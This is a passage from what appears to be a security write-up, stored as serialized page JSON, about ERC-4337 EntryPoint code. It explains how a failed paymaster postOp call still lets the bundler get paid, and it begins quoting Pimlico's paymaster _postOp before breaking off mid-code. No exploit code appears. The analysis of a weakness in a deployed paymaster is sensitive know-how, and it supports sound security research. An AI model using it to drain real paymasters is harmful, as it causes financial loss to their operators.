callGasLimit);\n",{"type":25,"tag":271,"props":118964,"children":118965},{"class":13593,"line":16486},[118966,118970,118974,118978],{"type":25,"tag":271,"props":118967,"children":118968},{"style":16171},[118969],{"type":30,"value":71916},{"type":25,"tag":271,"props":118971,"children":118972},{"style":13625},[118973],{"type":30,"value":16213},{"type":25,"tag":271,"props":118975,"children":118976},{"style":13603},[118977],{"type":30,"value":33742},{"type":25,"tag":271,"props":118979,"children":118980},{"style":13625},[118981],{"type":30,"value":118266},{"type":25,"tag":271,"props":118983,"children":118984},{"class":13593,"line":16495},[118985,118989,118994,118998,119003],{"type":25,"tag":271,"props":118986,"children":118987},{"style":13609},[118988],{"type":30,"value":116554},{"type":25,"tag":271,"props":118990,"children":118991},{"style":13625},[118992],{"type":30,"value":118993}," freePtr ",{"type":25,"tag":271,"props":118995,"children":118996},{"style":13603},[118997],{"type":30,"value":1065},{"type":25,"tag":271,"props":118999,"children":119000},{"style":13620},[119001],{"type":30,"value":119002}," _getFreePtr",{"type":25,"tag":271,"props":119004,"children":119005},{"style":13625},[119006],{"type":30,"value":16820},{"type":25,"tag":271,"props":119008,"children":119009},{"class":13593,"line":16744},[119010,119014,119018,119023,119027,119031,119036],{"type":25,"tag":271,"props":119011,"children":119012},{"style":13609},[119013],{"type":30,"value":117950},{"type":25,"tag":271,"props":119015,"children":119016},{"style":14289},[119017],{"type":30,"value":116174},{"type":25,"tag":271,"props":119019,"children":119020},{"style":13625},[119021],{"type":30,"value":119022}," result ",{"type":25,"tag":271,"props":119024,"children":119025},{"style":13603},[119026],{"type":30,"value":1065},{"type":25,"tag":271,"props":119028,"children":119029},{"style":13625},[119030],{"type":30,"value":118944},{"type":25,"tag":271,"props":119032,"children":119033},{"style":13620},[119034],{"type":30,"value":119035},"getReturnData",{"type":25,"tag":271,"props":119037,"children":119038},{"style":13625},[119039],{"type":30,"value":119040},"(REVERT_REASON_MAX_LEN);\n",{"type":25,"tag":271,"props":119042,"children":119043},{"class":13593,"line":16761},[119044,119048,119053,119057,119061],{"type":25,"tag":271,"props":119045,"children":119046},{"style":16171},[119047],{"type":30,"value":116614},{"type":25,"tag":271,"props":119049,"children":119050},{"style":13625},[119051],{"type":30,"value":119052}," (result.length ",{"type":25,"tag":271,"props":119054,"children":119055},{"style":13603},[119056],{"type":30,"value":23586},{"type":25,"tag":271,"props":119058,"children":119059},{"style":16187},[119060],{"type":30,"value":16190},{"type":25,"tag":271,"props":119062,"children":119063},{"style":13625},[119064],{"type":30,"value":27925},{"type":25,"tag":271,"props":119066,"children":119067},{"class":13593,"line":16778},[119068,119073,119078],{"type":25,"tag":271,"props":119069,"children":119070},{"style":16171},[119071],{"type":30,"value":119072},"                    emit",{"type":25,"tag":271,"props":119074,"children":119075},{"style":13620},[119076],{"type":30,"value":119077}," UserOperationRevertReason",{"type":25,"tag":271,"props":119079,"children":119080},{"style":13625},[119081],{"type":30,"value":16609},{"type":25,"tag":271,"props":119083,"children":119084},{"class":13593,"line":16791},[119085],{"type":25,"tag":271,"props":119086,"children":119087},{"style":13625},[119088],{"type":30,"value":119089},"                        opInfo.userOpHash,\n",{"type":25,"tag":271,"props":119091,"children":119092},{"class":13593,"line":16800},[119093],{"type":25,"tag":271,"props":119094,"children":119095},{"style":13625},[119096],{"type":30,"value":119097},"                        mUserOp.sender,\n",{"type":25,"tag":271,"props":119099,"children":119100},{"class":13593,"line":16823},[119101],{"type":25,"tag":271,"props":119102,"children":119103},{"style":13625},[119104],{"type":30,"value":119105},"                        mUserOp.nonce,\n",{"type":25,"tag":271,"props":119107,"children":119108},{"class":13593,"line":16832},[119109],{"type":25,"tag":271,"props":119110,"children":119111},{"style":13625},[119112],{"type":30,"value":119113},"                        result\n",{"type":25,"tag":271,"props":119115,"children":119116},{"class":13593,"line":16841},[119117],{"type":25,"tag":271,"props":119118,"children":119119},{"style":13625},[119120],{"type":30,"value":119121},"                    );\n",{"type":25,"tag":271,"props":119123,"children":119124},{"class":13593,"line":16907},[119125],{"type":25,"tag":271,"props":119126,"children":119127},{"style":13625},[119128],{"type":30,"value":84185},{"type":25,"tag":271,"props":119130,"children":119131},{"class":13593,"line":16915},[119132,119137],{"type":25,"tag":271,"props":119133,"children":119134},{"style":13620},[119135],{"type":30,"value":119136},"                _restoreFreePtr",{"type":25,"tag":271,"props":119138,"children":119139},{"style":13625},[119140],{"type":30,"value":119141},"(freePtr);\n",{"type":25,"tag":271,"props":119143,"children":119144},{"class":13593,"line":16945},[119145,119150,119154],{"type":25,"tag":271,"props":119146,"children":119147},{"style":13625},[119148],{"type":30,"value":119149},"                mode ",{"type":25,"tag":271,"props":119151,"children":119152},{"style":13603},[119153],{"type":30,"value":1065},{"type":25,"tag":271,"props":119155,"children":119156},{"style":13625},[119157],{"type":30,"value":119158}," IPaymaster.PostOpMode.opReverted;\n",{"type":25,"tag":271,"props":119160,"children":119161},{"class":13593,"line":16953},[119162],{"type":25,"tag":271,"props":119163,"children":119164},{"style":13625},[119165],{"type":30,"value":72000},{"type":25,"tag":271,"props":119167,"children":119168},{"class":13593,"line":16984},[119169],{"type":25,"tag":271,"props":119170,"children":119171},{"style":13625},[119172],{"type":30,"value":16492},{"type":25,"tag":271,"props":119174,"children":119175},{"class":13593,"line":16992},[119176],{"type":25,"tag":271,"props":119177,"children":119178},{"emptyLinePlaceholder":18},[119179],{"type":30,"value":16829},{"type":25,"tag":271,"props":119181,"children":119182},{"class":13593,"line":17052},[119183,119187],{"type":25,"tag":271,"props":119184,"children":119185},{"style":16171},[119186],{"type":30,"value":116210},{"type":25,"tag":271,"props":119188,"children":119189},{"style":13625},[119190],{"type":30,"value":16431},{"type":25,"tag":271,"props":119192,"children":119193},{"class":13593,"line":22168},[119194,119198,119202,119206,119210,119214,119218,119222,119226],{"type":25,"tag":271,"props":119195,"children":119196},{"style":13609},[119197],{"type":30,"value":116222},{"type":25,"tag":271,"props":119199,"children":119200},{"style":13625},[119201],{"type":30,"value":118385},{"type":25,"tag":271,"props":119203,"children":119204},{"style":13603},[119205],{"type":30,"value":1065},{"type":25,"tag":271,"props":119207,"children":119208},{"style":13625},[119209],{"type":30,"value":118394},{"type":25,"tag":271,"props":119211,"children":119212},{"style":13603},[119213],{"type":30,"value":17459},{"type":25,"tag":271,"props":119215,"children":119216},{"style":14289},[119217],{"type":30,"value":118403},{"type":25,"tag":271,"props":119219,"children":119220},{"style":13625},[119221],{"type":30,"value":27164},{"type":25,"tag":271,"props":119223,"children":119224},{"style":13603},[119225],{"type":30,"value":2074},{"type":25,"tag":271,"props":119227,"children":119228},{"style":13625},[119229],{"type":30,"value":118416},{"type":25,"tag":271,"props":119231,"children":119232},{"class":13593,"line":22186},[119233,119237,119241],{"type":25,"tag":271,"props":119234,"children":119235},{"style":16171},[119236],{"type":30,"value":92189},{"type":25,"tag":271,"props":119238,"children":119239},{"style":13620},[119240],{"type":30,"value":118525},{"type":25,"tag":271,"props":119242,"children":119243},{"style":13625},[119244],{"type":30,"value":119245},"(mode, opInfo, context, actualGas);\n",{"type":25,"tag":271,"props":119247,"children":119248},{"class":13593,"line":22231},[119249],{"type":25,"tag":271,"props":119250,"children":119251},{"style":13625},[119252],{"type":30,"value":16492},{"type":25,"tag":271,"props":119254,"children":119255},{"class":13593,"line":22337},[119256],{"type":25,"tag":271,"props":119257,"children":119258},{"style":13625},[119259],{"type":30,"value":16501},{"type":25,"tag":26,"props":119261,"children":119262},{},[119263,119265,119270,119272,119277,119279,119285,119287,119293,119295,119300,119302,119312],{"type":30,"value":119264},"We observe that, in the happy path, ",{"type":25,"tag":264,"props":119266,"children":119268},{"className":119267},[],[119269],{"type":30,"value":118616},{"type":30,"value":119271}," is expected to not only execute the actual ",{"type":25,"tag":264,"props":119273,"children":119275},{"className":119274},[],[119276],{"type":30,"value":115276},{"type":30,"value":119278}," call, but also call ",{"type":25,"tag":264,"props":119280,"children":119282},{"className":119281},[],[119283],{"type":30,"value":119284},"_postExecution",{"type":30,"value":119286},". This means that the third failure handling path, which passes ",{"type":25,"tag":264,"props":119288,"children":119290},{"className":119289},[],[119291],{"type":30,"value":119292},"postOpReverted",{"type":30,"value":119294}," as its mode, happens when something goes wrong with the ",{"type":25,"tag":264,"props":119296,"children":119298},{"className":119297},[],[119299],{"type":30,"value":119284},{"type":30,"value":119301}," call ",{"type":25,"tag":38,"props":119303,"children":119304},{},[119305,119307],{"type":30,"value":119306},"inside ",{"type":25,"tag":264,"props":119308,"children":119310},{"className":119309},[],[119311],{"type":30,"value":118616},{"type":30,"value":1860},{"type":25,"tag":26,"props":119314,"children":119315},{},[119316,119318,119323],{"type":30,"value":119317},"Let's examine the ",{"type":25,"tag":264,"props":119319,"children":119321},{"className":119320},[],[119322],{"type":30,"value":119284},{"type":30,"value":119324}," code to understand where the revert might occur.",{"type":25,"tag":7764,"props":119326,"children":119328},{"className":17606,"code":119327,"language":17605,"meta":7,"style":7},"    function _postExecution(\n        IPaymaster.PostOpMode mode,\n        UserOpInfo memory opInfo,\n        bytes memory context,\n        uint256 actualGas\n    ) internal virtual returns (uint256 actualGasCost) {\n    [...]\n            if (paymaster == address(0)) {\n                refundAddress = mUserOp.sender;\n            } else {\n                refundAddress = paymaster;\n                if (context.length > 0) {\n                    actualGasCost = actualGas * gasPrice;\n                    uint256 postOpPreGas = gasleft();\n                    if (mode != IPaymaster.PostOpMode.postOpReverted) {\n                        try IPaymaster(paymaster).postOp{\n                                gas: mUserOp.paymasterPostOpGasLimit\n                            }(mode, context, actualGasCost, gasPrice)\n                        // solhint-disable-next-line no-empty-blocks\n                        {} catch {\n                            bytes memory reason = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                            revert PostOpReverted(reason);\n                        }\n                    }\n                    // Calculating a penalty for unused postOp gas\n                    // note that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n                    uint256 postOpGasUsed = postOpPreGas - gasleft();\n                    postOpUnusedGasPenalty = _getUnusedGasPenalty(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n                }\n            }\n    [...]\n    }\n",[119329],{"type":25,"tag":264,"props":119330,"children":119331},{"__ignoreMap":7},[119332,119347,119372,119391,119410,119422,119459,119466,119498,119515,119530,119546,119570,119595,119619,119641,119659,119676,119684,119702,119718,119751,119769,119776,119783,119791,119807,119839,119861,119868,119875,119882],{"type":25,"tag":271,"props":119333,"children":119334},{"class":13593,"line":13594},[119335,119339,119343],{"type":25,"tag":271,"props":119336,"children":119337},{"style":14289},[119338],{"type":30,"value":102943},{"type":25,"tag":271,"props":119340,"children":119341},{"style":13620},[119342],{"type":30,"value":118525},{"type":25,"tag":271,"props":119344,"children":119345},{"style":13625},[119346],{"type":30,"value":16609},{"type":25,"tag":271,"props":119348,"children":119349},{"class":13593,"line":11641},[119350,119355,119359,119363,119368],{"type":25,"tag":271,"props":119351,"children":119352},{"style":14289},[119353],{"type":30,"value":119354},"        IPaymaster",{"type":25,"tag":271,"props":119356,"children":119357},{"style":13625},[119358],{"type":30,"value":1860},{"type":25,"tag":271,"props":119360,"children":119361},{"style":13598},[119362],{"type":30,"value":116886},{"type":25,"tag":271,"props":119364,"children":119365},{"style":13598},[119366],{"type":30,"value":119367}," mode",{"type":25,"tag":271,"props":119369,"children":119370},{"style":13625},[119371],{"type":30,"value":14351},{"type":25,"tag":271,"props":119373,"children":119374},{"class":13593,"line":14354},[119375,119379,119383,119387],{"type":25,"tag":271,"props":119376,"children":119377},{"style":14289},[119378],{"type":30,"value":117833},{"type":25,"tag":271,"props":119380,"children":119381},{"style":14289},[119382],{"type":30,"value":116174},{"type":25,"tag":271,"props":119384,"children":119385},{"style":13598},[119386],{"type":30,"value":118821},{"type":25,"tag":271,"props":119388,"children":119389},{"style":13625},[119390],{"type":30,"value":14351},{"type":25,"tag":271,"props":119392,"children":119393},{"class":13593,"line":14391},[119394,119398,119402,119406],{"type":25,"tag":271,"props":119395,"children":119396},{"style":13609},[119397],{"type":30,"value":118792},{"type":25,"tag":271,"props":119399,"children":119400},{"style":14289},[119401],{"type":30,"value":116174},{"type":25,"tag":271,"props":119403,"children":119404},{"style":13598},[119405],{"type":30,"value":89456},{"type":25,"tag":271,"props":119407,"children":119408},{"style":13625},[119409],{"type":30,"value":14351},{"type":25,"tag":271,"props":119411,"children":119412},{"class":13593,"line":14400},[119413,119417],{"type":25,"tag":271,"props":119414,"children":119415},{"style":13609},[119416],{"type":30,"value":103121},{"type":25,"tag":271,"props":119418,"children":119419},{"style":13598},[119420],{"type":30,"value":119421}," actualGas\n",{"type":25,"tag":271,"props":119423,"children":119424},{"class":13593,"line":16406},[119425,119429,119434,119439,119443,119447,119451,119455],{"type":25,"tag":271,"props":119426,"children":119427},{"style":13625},[119428],{"type":30,"value":118849},{"type":25,"tag":271,"props":119430,"children":119431},{"style":14289},[119432],{"type":30,"value":119433},"internal",{"type":25,"tag":271,"props":119435,"children":119436},{"style":14289},[119437],{"type":30,"value":119438}," virtual",{"type":25,"tag":271,"props":119440,"children":119441},{"style":16171},[119442],{"type":30,"value":89109},{"type":25,"tag":271,"props":119444,"children":119445},{"style":13625},[119446],{"type":30,"value":16213},{"type":25,"tag":271,"props":119448,"children":119449},{"style":13609},[119450],{"type":30,"value":59283},{"type":25,"tag":271,"props":119452,"children":119453},{"style":13598},[119454],{"type":30,"value":116915},{"type":25,"tag":271,"props":119456,"children":119457},{"style":13625},[119458],{"type":30,"value":27925},{"type":25,"tag":271,"props":119460,"children":119461},{"class":13593,"line":16434},[119462],{"type":25,"tag":271,"props":119463,"children":119464},{"style":13625},[119465],{"type":30,"value":117894},{"type":25,"tag":271,"props":119467,"children":119468},{"class":13593,"line":16447},[119469,119473,119478,119482,119486,119490,119494],{"type":25,"tag":271,"props":119470,"children":119471},{"style":16171},[119472],{"type":30,"value":71916},{"type":25,"tag":271,"props":119474,"children":119475},{"style":13625},[119476],{"type":30,"value":119477}," (paymaster ",{"type":25,"tag":271,"props":119479,"children":119480},{"style":13603},[119481],{"type":30,"value":21696},{"type":25,"tag":271,"props":119483,"children":119484},{"style":13609},[119485],{"type":30,"value":19378},{"type":25,"tag":271,"props":119487,"children":119488},{"style":13625},[119489],{"type":30,"value":394},{"type":25,"tag":271,"props":119491,"children":119492},{"style":16187},[119493],{"type":30,"value":953},{"type":25,"tag":271,"props":119495,"children":119496},{"style":13625},[119497],{"type":30,"value":48305},{"type":25,"tag":271,"props":119499,"children":119500},{"class":13593,"line":16465},[119501,119506,119510],{"type":25,"tag":271,"props":119502,"children":119503},{"style":13625},[119504],{"type":30,"value":119505},"                refundAddress ",{"type":25,"tag":271,"props":119507,"children":119508},{"style":13603},[119509],{"type":30,"value":1065},{"type":25,"tag":271,"props":119511,"children":119512},{"style":13625},[119513],{"type":30,"value":119514}," mUserOp.sender;\n",{"type":25,"tag":271,"props":119516,"children":119517},{"class":13593,"line":16486},[119518,119522,119526],{"type":25,"tag":271,"props":119519,"children":119520},{"style":13625},[119521],{"type":30,"value":83708},{"type":25,"tag":271,"props":119523,"children":119524},{"style":16171},[119525],{"type":30,"value":16458},{"type":25,"tag":271,"props":119527,"children":119528},{"style":13625},[119529],{"type":30,"value":16431},{"type":25,"tag":271,"props":119531,"children":119532},{"class":13593,"line":16495},[119533,119537,119541],{"type":25,"tag":271,"props":119534,"children":119535},{"style":13625},[119536],{"type":30,"value":119505},{"type":25,"tag":271,"props":119538,"children":119539},{"style":13603},[119540],{"type":30,"value":1065},{"type":25,"tag":271,"props":119542,"children":119543},{"style":13625},[119544],{"type":30,"value":119545}," paymaster;\n",{"type":25,"tag":271,"props":119547,"children":119548},{"class":13593,"line":16744},[119549,119553,119558,119562,119566],{"type":25,"tag":271,"props":119550,"children":119551},{"style":16171},[119552],{"type":30,"value":116614},{"type":25,"tag":271,"props":119554,"children":119555},{"style":13625},[119556],{"type":30,"value":119557}," (context.length ",{"type":25,"tag":271,"props":119559,"children":119560},{"style":13603},[119561],{"type":30,"value":23586},{"type":25,"tag":271,"props":119563,"children":119564},{"style":16187},[119565],{"type":30,"value":16190},{"type":25,"tag":271,"props":119567,"children":119568},{"style":13625},[119569],{"type":30,"value":27925},{"type":25,"tag":271,"props":119571,"children":119572},{"class":13593,"line":16761},[119573,119578,119582,119586,119590],{"type":25,"tag":271,"props":119574,"children":119575},{"style":13625},[119576],{"type":30,"value":119577},"                    actualGasCost ",{"type":25,"tag":271,"props":119579,"children":119580},{"style":13603},[119581],{"type":30,"value":1065},{"type":25,"tag":271,"props":119583,"children":119584},{"style":13625},[119585],{"type":30,"value":118385},{"type":25,"tag":271,"props":119587,"children":119588},{"style":13603},[119589],{"type":30,"value":17702},{"type":25,"tag":271,"props":119591,"children":119592},{"style":13625},[119593],{"type":30,"value":119594}," gasPrice;\n",{"type":25,"tag":271,"props":119596,"children":119597},{"class":13593,"line":16778},[119598,119602,119607,119611,119615],{"type":25,"tag":271,"props":119599,"children":119600},{"style":13609},[119601],{"type":30,"value":116571},{"type":25,"tag":271,"props":119603,"children":119604},{"style":13625},[119605],{"type":30,"value":119606}," postOpPreGas ",{"type":25,"tag":271,"props":119608,"children":119609},{"style":13603},[119610],{"type":30,"value":1065},{"type":25,"tag":271,"props":119612,"children":119613},{"style":14289},[119614],{"type":30,"value":118403},{"type":25,"tag":271,"props":119616,"children":119617},{"style":13625},[119618],{"type":30,"value":16820},{"type":25,"tag":271,"props":119620,"children":119621},{"class":13593,"line":16791},[119622,119627,119632,119636],{"type":25,"tag":271,"props":119623,"children":119624},{"style":16171},[119625],{"type":30,"value":119626},"                    if",{"type":25,"tag":271,"props":119628,"children":119629},{"style":13625},[119630],{"type":30,"value":119631}," (mode ",{"type":25,"tag":271,"props":119633,"children":119634},{"style":13603},[119635],{"type":30,"value":28810},{"type":25,"tag":271,"props":119637,"children":119638},{"style":13625},[119639],{"type":30,"value":119640}," IPaymaster.PostOpMode.postOpReverted) {\n",{"type":25,"tag":271,"props":119642,"children":119643},{"class":13593,"line":16800},[119644,119649,119654],{"type":25,"tag":271,"props":119645,"children":119646},{"style":16171},[119647],{"type":30,"value":119648},"                        try",{"type":25,"tag":271,"props":119650,"children":119651},{"style":13620},[119652],{"type":30,"value":119653}," IPaymaster",{"type":25,"tag":271,"props":119655,"children":119656},{"style":13625},[119657],{"type":30,"value":119658},"(paymaster).postOp{\n",{"type":25,"tag":271,"props":119660,"children":119661},{"class":13593,"line":16823},[119662,119667,119671],{"type":25,"tag":271,"props":119663,"children":119664},{"style":13625},[119665],{"type":30,"value":119666},"                                gas",{"type":25,"tag":271,"props":119668,"children":119669},{"style":13603},[119670],{"type":30,"value":359},{"type":25,"tag":271,"props":119672,"children":119673},{"style":13625},[119674],{"type":30,"value":119675}," mUserOp.paymasterPostOpGasLimit\n",{"type":25,"tag":271,"props":119677,"children":119678},{"class":13593,"line":16832},[119679],{"type":25,"tag":271,"props":119680,"children":119681},{"style":13625},[119682],{"type":30,"value":119683},"                            }(mode, context, actualGasCost, gasPrice)\n",{"type":25,"tag":271,"props":119685,"children":119686},{"class":13593,"line":16841},[119687,119692,119697],{"type":25,"tag":271,"props":119688,"children":119689},{"style":14385},[119690],{"type":30,"value":119691},"                        // ",{"type":25,"tag":271,"props":119693,"children":119694},{"style":14289},[119695],{"type":30,"value":119696},"solhint-disable",{"type":25,"tag":271,"props":119698,"children":119699},{"style":14385},[119700],{"type":30,"value":119701},"-next-line no-empty-blocks\n",{"type":25,"tag":271,"props":119703,"children":119704},{"class":13593,"line":16907},[119705,119710,119714],{"type":25,"tag":271,"props":119706,"children":119707},{"style":13625},[119708],{"type":30,"value":119709},"                        {} ",{"type":25,"tag":271,"props":119711,"children":119712},{"style":16171},[119713],{"type":30,"value":61527},{"type":25,"tag":271,"props":119715,"children":119716},{"style":13625},[119717],{"type":30,"value":16431},{"type":25,"tag":271,"props":119719,"children":119720},{"class":13593,"line":16915},[119721,119726,119730,119735,119739,119743,119747],{"type":25,"tag":271,"props":119722,"children":119723},{"style":13609},[119724],{"type":30,"value":119725},"                            bytes",{"type":25,"tag":271,"props":119727,"children":119728},{"style":14289},[119729],{"type":30,"value":116174},{"type":25,"tag":271,"props":119731,"children":119732},{"style":13625},[119733],{"type":30,"value":119734}," reason ",{"type":25,"tag":271,"props":119736,"children":119737},{"style":13603},[119738],{"type":30,"value":1065},{"type":25,"tag":271,"props":119740,"children":119741},{"style":13625},[119742],{"type":30,"value":118944},{"type":25,"tag":271,"props":119744,"children":119745},{"style":13620},[119746],{"type":30,"value":119035},{"type":25,"tag":271,"props":119748,"children":119749},{"style":13625},[119750],{"type":30,"value":119040},{"type":25,"tag":271,"props":119752,"children":119753},{"class":13593,"line":16945},[119754,119759,119764],{"type":25,"tag":271,"props":119755,"children":119756},{"style":16171},[119757],{"type":30,"value":119758},"                            revert",{"type":25,"tag":271,"props":119760,"children":119761},{"style":13620},[119762],{"type":30,"value":119763}," PostOpReverted",{"type":25,"tag":271,"props":119765,"children":119766},{"style":13625},[119767],{"type":30,"value":119768},"(reason);\n",{"type":25,"tag":271,"props":119770,"children":119771},{"class":13593,"line":16953},[119772],{"type":25,"tag":271,"props":119773,"children":119774},{"style":13625},[119775],{"type":30,"value":84092},{"type":25,"tag":271,"props":119777,"children":119778},{"class":13593,"line":16984},[119779],{"type":25,"tag":271,"props":119780,"children":119781},{"style":13625},[119782],{"type":30,"value":84177},{"type":25,"tag":271,"props":119784,"children":119785},{"class":13593,"line":16992},[119786],{"type":25,"tag":271,"props":119787,"children":119788},{"style":14385},[119789],{"type":30,"value":119790},"                    // Calculating a penalty for unused postOp gas\n",{"type":25,"tag":271,"props":119792,"children":119793},{"class":13593,"line":17052},[119794,119798,119802],{"type":25,"tag":271,"props":119795,"children":119796},{"style":14385},[119797],{"type":30,"value":116636},{"type":25,"tag":271,"props":119799,"children":119800},{"style":14289},[119801],{"type":30,"value":79874},{"type":25,"tag":271,"props":119803,"children":119804},{"style":14385},[119805],{"type":30,"value":119806}," that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n",{"type":25,"tag":271,"props":119808,"children":119809},{"class":13593,"line":22168},[119810,119814,119819,119823,119827,119831,119835],{"type":25,"tag":271,"props":119811,"children":119812},{"style":13609},[119813],{"type":30,"value":116571},{"type":25,"tag":271,"props":119815,"children":119816},{"style":13625},[119817],{"type":30,"value":119818}," postOpGasUsed ",{"type":25,"tag":271,"props":119820,"children":119821},{"style":13603},[119822],{"type":30,"value":1065},{"type":25,"tag":271,"props":119824,"children":119825},{"style":13625},[119826],{"type":30,"value":119606},{"type":25,"tag":271,"props":119828,"children":119829},{"style":13603},[119830],{"type":30,"value":17459},{"type":25,"tag":271,"props":119832,"children":119833},{"style":14289},[119834],{"type":30,"value":118403},{"type":25,"tag":271,"props":119836,"children":119837},{"style":13625},[119838],{"type":30,"value":16820},{"type":25,"tag":271,"props":119840,"children":119841},{"class":13593,"line":22186},[119842,119847,119851,119856],{"type":25,"tag":271,"props":119843,"children":119844},{"style":13625},[119845],{"type":30,"value":119846},"                    postOpUnusedGasPenalty ",{"type":25,"tag":271,"props":119848,"children":119849},{"style":13603},[119850],{"type":30,"value":1065},{"type":25,"tag":271,"props":119852,"children":119853},{"style":13620},[119854],{"type":30,"value":119855}," _getUnusedGasPenalty",{"type":25,"tag":271,"props":119857,"children":119858},{"style":13625},[119859],{"type":30,"value":119860},"(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n",{"type":25,"tag":271,"props":119862,"children":119863},{"class":13593,"line":22231},[119864],{"type":25,"tag":271,"props":119865,"children":119866},{"style":13625},[119867],{"type":30,"value":84185},{"type":25,"tag":271,"props":119869,"children":119870},{"class":13593,"line":22337},[119871],{"type":25,"tag":271,"props":119872,"children":119873},{"style":13625},[119874],{"type":30,"value":72000},{"type":25,"tag":271,"props":119876,"children":119877},{"class":13593,"line":36608},[119878],{"type":25,"tag":271,"props":119879,"children":119880},{"style":13625},[119881],{"type":30,"value":117894},{"type":25,"tag":271,"props":119883,"children":119884},{"class":13593,"line":36643},[119885],{"type":25,"tag":271,"props":119886,"children":119887},{"style":13625},[119888],{"type":30,"value":16501},{"type":25,"tag":26,"props":119890,"children":119891},{},[119892,119894,119899,119901,119907,119909,119915,119917,119922,119924,119929,119931,119936,119938,119943,119945,119950,119952,119957],{"type":30,"value":119893},"It turns out that if the ",{"type":25,"tag":264,"props":119895,"children":119897},{"className":119896},[],[119898],{"type":30,"value":115475},{"type":30,"value":119900}," call fails, it will revert with ",{"type":25,"tag":264,"props":119902,"children":119904},{"className":119903},[],[119905],{"type":30,"value":119906},"PostOpReverted",{"type":30,"value":119908},". However, as we can see in the previous code of ",{"type":25,"tag":264,"props":119910,"children":119912},{"className":119911},[],[119913],{"type":30,"value":119914},"_executeUserOp",{"type":30,"value":119916},", even though ",{"type":25,"tag":264,"props":119918,"children":119920},{"className":119919},[],[119921],{"type":30,"value":118616},{"type":30,"value":119923}," fails, the execution won't revert. Instead, it will continue to make another ",{"type":25,"tag":264,"props":119925,"children":119927},{"className":119926},[],[119928],{"type":30,"value":119284},{"type":30,"value":119930}," call with ",{"type":25,"tag":264,"props":119932,"children":119934},{"className":119933},[],[119935],{"type":30,"value":119292},{"type":30,"value":119937}," mode, and it won't try to call ",{"type":25,"tag":264,"props":119939,"children":119941},{"className":119940},[],[119942],{"type":30,"value":115475},{"type":30,"value":119944}," again. This means the ",{"type":25,"tag":264,"props":119946,"children":119948},{"className":119947},[],[119949],{"type":30,"value":115336},{"type":30,"value":119951}," still gets paid for submitting the failed ",{"type":25,"tag":264,"props":119953,"children":119955},{"className":119954},[],[119956],{"type":30,"value":115276},{"type":30,"value":1860},{"type":25,"tag":26,"props":119959,"children":119960},{},[119961,119963,119968,119970,119975,119977,119984],{"type":30,"value":119962},"Now that we understand this behavior where ",{"type":25,"tag":264,"props":119964,"children":119966},{"className":119965},[],[119967],{"type":30,"value":115475},{"type":30,"value":119969}," is allowed to fail while the ",{"type":25,"tag":264,"props":119971,"children":119973},{"className":119972},[],[119974],{"type":30,"value":115336},{"type":30,"value":119976}," still gets paid, let's examine a real-world example from the most widely used paymaster currently, which is the paymaster implemented by ",{"type":25,"tag":83,"props":119978,"children":119981},{"href":119979,"rel":119980},"https://github.com/pimlicolabs/singleton-paymaster/blob/feat/v8/src/SingletonPaymasterV7.sol",[9066],[119982],{"type":30,"value":119983},"Pimlico",{"type":30,"value":1860},{"type":25,"tag":7764,"props":119986,"children":119988},{"className":17606,"code":119987,"language":17605,"meta":7,"style":7},"    function _postOp(\n        PostOpMode, /* mode */\n        bytes calldata _context,\n        uint256 _actualGasCost,\n        uint256 _actualUserOpFeePerGas\n    )\n        internal\n    {\n        ERC20PostOpContext memory ctx = _parsePostOpContext(_context);\n\n        uint256 expectedPenaltyGasCost = _expectedPenaltyGasCost(\n            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n        );\n\n        uint256 actualGasCost = _actualGasCost + expectedPenaltyGasCost;\n\n        uint256 costInToken =\n            getCostInToken(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) + ctx.constantFee;\n\n        uint256 absoluteCostInToken =\n            costInToken > ctx.preFundCharged ? costInToken - ctx.preFundCharged : ctx.preFundCharged - costInToken;\n\n        SafeTransferLib.safeTransferFrom(\n            ctx.token,\n            costInToken > ctx.preFundCharged ? ctx.sender : ctx.treasury,\n            costInToken > ctx.preFundCharged ? ctx.treasury : ctx.sender,\n            absoluteCostInToken\n        );\n\n        uint256 preFundInToken = (ctx.preFund * ctx.exchangeRate) / 1e18;\n\n        if (ctx.recipient != address(0) && preFundInToken > costInToken) {\n            SafeTransferLib.safeTransferFrom(ctx.token, ctx.sender, ctx.recipient, preFundInToken - costInToken);\n        }\n\n        emit UserOperationSponsored(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n    }\n",[119989],{"type":25,"tag":264,"props":119990,"children":119991},{"__ignoreMap":7},[119992,120007,120024,120044,120060,120072,120079,120086,120093,120124,120131,120156,120164,120171,120178,120207,120214,120230,120252,120259,120275,120325,120332,120348,120356,120389,120422,120430,120437,120444,120487,120494,120543,120569,120576,120583,120600],{"type":25,"tag":271,"props":119993,"children":119994},{"class":13593,"line":13594},[119995,119999,120003],{"type":25,"tag":271,"props":119996,"children":119997},{"style":14289},[119998],{"type":30,"value":102943},{"type":25,"tag":271,"props":120000,"children":120001},{"style":13620},[120002],{"type":30,"value":116877},{"type":25,"tag":271,"props":120004,"children":120005},{"style":13625},[120006],{"type":30,"value":16609},{"type":25,"tag":271,"props":120008,"children":120009},{"class":13593,"line":11641},[120010,120015,120019],{"type":25,"tag":271,"props":120011,"children":120012},{"style":14289},[120013],{"type":30,"value":120014},"        PostOpMode",{"type":25,"tag":271,"props":120016,"children":120017},{"style":13625},[120018],{"type":30,"value":44},{"type":25,"tag":271,"props":120020,"children":120021},{"style":14385},[120022],{"type":30,"value":120023},"/* mode */\n",{"type":25,"tag":271,"props":120025,"children":120026},{"class":13593,"line":14354},[120027,120031,120035,120040],{"type":25,"tag":271,"props":120028,"children":120029},{"style":13609},[120030],{"type":30,"value":118792},{"type":25,"tag":271,"props":120032,"children":120033},{"style":14289},[120034],{"type":30,"value":116106},{"type":25,"tag":271,"props":120036,"children":120037},{"style":13598},[120038],{"type":30,"value":120039}," 